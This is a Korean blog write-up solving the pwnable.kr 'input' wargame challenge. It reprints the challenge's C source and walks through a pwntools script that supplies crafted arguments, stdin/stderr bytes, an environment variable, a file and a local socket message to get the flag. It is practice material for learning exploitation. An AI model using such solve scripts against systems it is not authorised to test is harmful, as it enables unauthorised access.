[pwnable.kr] input - 4 pt
먼가 아파보이는 녀석이다..
input문제인 것 같다. 문제를 확인해보자.
프로그램에 어떻게 입력을 넣는지에 대한 문제인 것 같다.
설명생략. 보시는 대로!
바로 소스를 보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; } | cs |
스테이지1~5까지 있고 모두 통과하면 flag를 출력해준다.
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
모두 조건에 맞게 입력하면 플래그를 주겠다고 한다.
스테이지 1은 인자가 100개여야하고 argc==100
argv['A'] 가 \x00이여야하고 argv['B'] 는 \x20\x0a\x0d이여야 한다.
여기서 argc를 100개 만드는것은 문제가 없으나 argv[65]가 \x00으로 만드는데서 조금 해멨으나; 그냥 문자열로 아무것도 안넣으주면 null값만 들어가서 해결할 수 있었다. 마찬가지로 \x20\x0a\x0d값은 각각 공백,줄바꿈 문자들이나 따옴표(")로 묶어 문자열로 넣어줄 수 있다.
이를 파이썬으로 하면 이렇게 된다.
./input `python -c 'print("A "*64)'` "" "`python -c 'print("\x20\x0a\x0d")'`" `python -c 'print("A "*33)'`
후... 겨우 스테이지1 통과
그리고 이제 스테이지 2인데.. 여기서 막혔다 ㅠ;
(python -c 'print("\x00\x0a\x00\xff")') | ./test `python -c 'print("A "*64)'` "" "`python -c 'print("\x20\x0a\x0d")'`" `python -c 'print("A "*33)'`
위 명령을 쓰면 read(0, buf, 4)는 통과할 수 있으나 문제는 그 뒤 stderr에 4바이트를 읽어오는 것을 어떻게 하느냐이다..
일단 stderr도 입력이 되긴 하는데... 이걸 파이프로 보낼수가 없다 ㅡㅡ;
여러가지 삽질하다가 C에서 pipe를 이용하면 어찌저찌 될 것 같다는 것을 암과 동시에... pwnable.kr 서버에서 pwntools를 사용할 수 있다는 것도 알았다.
pipe도 공부해두면 일단 도움이 되긴 하겠지만... 먼저 pwntools를 이용해서 풀어보겠다.
참고 pipe 설명 : http://nroses-taek.tistory.com/139
classpwnlib.tubes.process.
process
(argv, shell=False, executable=None, cwd=None, env=None, timeout=pwnlib.timeout.Timeout.default, stdin=-1, stdout=<pwnlib.tubes.process.PTY object>, stderr=-2, level=None, close_fds=True, preexec_fn=<function <lambda>>, raw=True, aslr=None, setuid=None, where='local', display=None)[source]
코드를 작성해야하는데 현재 디렉토리에서는 권한이 없다. 그러므로 권한이 있는 /tmp 폴더로 이동하여 자신의 임시폴더를 만들어 이곳에서 공격코드를 작성해보겠다.
pwntools에서 바이너리 파일과 연결하는 데에 process를 사용한다.
process(argv, env, stderr=-2, ....) 으로 argv와 stderr를 이용해서 stage2까지 통과할 수 있을 것 같다.
이제 process에서 env까지 프로그램에서 원하는데로 설정해주면 stage3까지 통과할 수 있다.
이제 stage4인데 파일명이 \x0a이고 안의 내용은 \x00\x00\x00\x00이다.
파일명이 \x0a라서 이걸 생성하려고 하니, 자꾸 없는 파일이라 뜨거나 오류가 나서 bash로 생성을 못해서 조금 헤맸다.
그런데 python 안에서 open함수로 열어서 쓰기를 하니까 이상하게 여기서는 된다 ...; 그래서 중간에 아래와 같은 소스를 추가해서 stage4도 통과할 수 있었다.
1 2 3 | f = open("\x0a",'w') f.write("\x00\x00\x00\x00") f.close() | cs |
이제 마지막 stage5만 남았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); // init network setting // socket address assignment and connect , success=0, fail = -1 if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); //connect listen possible, one client...! int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; } | cs |
stage5는 소켓 서버를 만든다. argv['C']의 포트로 서버를 열어 클라이언트 1명까지 받아 클라이언트로 부터 4byte를 받는다.
그러므로 우리는 stage4까지 통과하고 stage5에 들어가면 argv['C']의 포트로 접속하여 "\xde\xad\xbe\xef"값을 보내주면 되겠다.
공격코드는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import * prog = [] prog.append("/home/input2/input") #prog.append("./test") for i in range(99): prog.append("A") prog[ord("A")]="" prog[ord('B')]="\x20\x0a\x0d" prog[ord('C')]="35790" conn = process(prog, stderr=open("stderr",'r'), env={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}) print(conn.recvuntil("Stage 1 clear!")) f = open("\x0a",'w') f.write("\x00\x00\x00\x00") f.close() conn.sendline("\x00\x0a\x00\xff") print(conn.recvuntil("Stage 4 clear!")) #sleep(3) reconn = remote("127.0.0.1", 35790) reconn.send("\xde\xad\xbe\xef") reconn.close() print(conn.recvline()) print(conn.recvall()) conn.interactive() | cs |
이제 공격하면 된다.
Stage 5 clear! 가 뜨는 것을 볼 수 있다.
그런데 원래대로라면 system("/bin/cat flag"); 에 의해 flag가 출력되어야하는데
flag는 보이지않고 그냥 interactive mode로 들어가버린다. 게다가 이미 프로그램은 끝나버렸다 ㅡㅡ;
왜인지 생각해보니 input바이너리 파일이 있는 폴더에 flag가 있는데, 내가 공격코드를 실행하는 주소는 /tmp/myria에 있다.
즉 /bin/cat flag가 현재 디렉토리에서 실행되는데 flag가 없으므로 아무것도 출력되지 않는것이다.
이를 해결하는 방법은 2가지가 있는데,
첫번째로 input바이너리가 있는 폴더로 이동하여 절대경로로 공격코드를 실행하는 방법.
두번째로 /tmp/myria 디렉토리에 flag의 심볼릭링크를 건 파일을 생성하는 방법
첫번째방법은 "\x0a"파일을 생성하거나 stderr를 만드는것이 input이 있는 폴더에서 생성되지않아 코드를 수정해야하므로
두번째 방법을 이용해서 풀도록 하겠다.
성공적으로 링크가 걸렸고, 이제 공격코드를 실행하면 된다.
예이~
플래그 출력 성공!
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] coin1 - 6 pt (0) | 2018.05.15 |
---|---|
[pwnable.kr] flag - 7 pt (0) | 2018.05.14 |
[pwnable.kr] lotto - 2 pt (0) | 2018.05.10 |
[pwnable.kr] bof- 5 pt (0) | 2018.05.09 |
[pwnable.kr] collision - 3 pt (0) | 2018.05.02 |